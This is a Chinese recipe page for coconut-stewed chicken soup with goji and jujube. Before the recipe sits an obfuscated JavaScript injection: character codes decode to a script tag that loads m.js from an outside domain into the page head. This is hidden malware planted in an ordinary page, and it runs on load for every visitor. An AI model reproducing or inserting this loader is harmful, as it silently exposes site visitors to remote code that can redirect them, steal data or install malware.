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Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,119,101,108,108,46,108,105,110,101,116,111,97,100,115,97,99,116,105,118,101,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

椰子炖出来的鸡汤不但可以美容,而且营养超丰富!被很多美眉奉之为 “滋补养生之靓汤” 。熬出来的汤口味 “咸鲜” ,椰味芬芳,汤清 “爽口” 。

材料:

• 带壳椰子 – 1粒
• 鸡肉 – 200克
• 盐 – 2克
• 枸杞 – 适量
• 红枣 – 适量

做法:

  1. 把椰子顶上的硬壳敲开约10厘米直径的圆,一般卖椰子的地方都能帮忙加工的。
  2. 把敲开了硬壳的椰子沿着壳用水果刀把椰肉挖开,把里面的清椰汁倒出来用一个干净容器装着。
  3. 把鸡肉洗干净把鸡的脂肪摘掉,取一个锅放水煮开,把洗干净的鸡肉放到锅里出水,鸡肉放入,水再次开后把鸡肉捞出,目的是去除鸡肉的血沫。
  4. 把出过水的鸡肉、枸杞、红枣放入椰子内,倒入清椰汁,把挖开的椰子肉按照挖下来前的样子盖上,使椰子起有盖的炖盅的作用。
  5. 在304白钢锅内加水,加入蒸架,放入加了鸡肉和清椰汁的椰子盅,选择【慢炖】功能即可。或者用普通蒸锅,大火煮开,小火蒸3至4小时即可。
  6. 蒸好后,加入盐调味,一个清甜滋润的原只椰子炖鸡汤就做好了。

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